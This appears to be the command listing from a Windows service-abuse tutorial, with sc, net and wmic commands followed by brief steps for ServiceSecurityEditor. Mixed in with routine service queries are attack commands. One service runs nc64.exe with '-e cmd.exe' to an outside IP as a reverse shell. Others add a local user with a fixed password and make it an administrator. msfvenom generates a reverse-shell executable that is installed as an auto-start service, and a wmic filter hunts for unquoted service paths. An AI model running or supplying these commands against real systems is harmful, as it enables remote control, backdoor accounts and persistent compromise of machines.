sc query
sc queryex type= service
sc query type= service
sc query find "STATE"
sc query | find "Telnet"
sc query LanmanServer
sc qc Audiosrv
sc stop Audiosrv
sc start Audiosrv
sc pause Audiosrv
sc continue Audiosrv
sc config Audiosrv
sc create nc binPath= "C:\Windows\System32\nc64.exe"
sc qc nc
sc query nc
sc start nc
sc delete nc
sc config nc binPath= "C:\Windows\nc64.exe 192.168.1.7 4444 -e cmd.exe"
sc create pingme binPath= "ping 192.168.1.6"
sc start pingme
sc create useradd binPath="net user u1 password@123 /add"
sc start useradd
sc config useradd binpath= "net localgroup administrators u1 /add"
sc start useradd
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.6 LPORT=4455 -f exe > shell.exe
sc create msfvenom_shell binPath= "C:\Windows\Temp\shell.exe"
sc config msfvenom_shell start=auto
- auto - Automatic Startup
- demand - Manual Startup
- disabled - Disabled
shutdown /r /t 0 /f
net start TlntSvr
net stop TlntSvr
net pause TlntSvr
net continue TlntSvr
wmic service get name, displayname, pathname, startmode
wmic service get name, displayname, pathname, startmode | findstr /i "auto"
wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i/v "c:\windows"
ServiceSecurityEditor is used to maintain and manage services, allowing manual configuration of permissions for users.
Download ServiceSecurityEditor
- Run the application.
- Select the service you want to configure.
- Click "Open".
- Add a user.
- Select the user and set the required permissions.
- Click "Apply" and then "OK".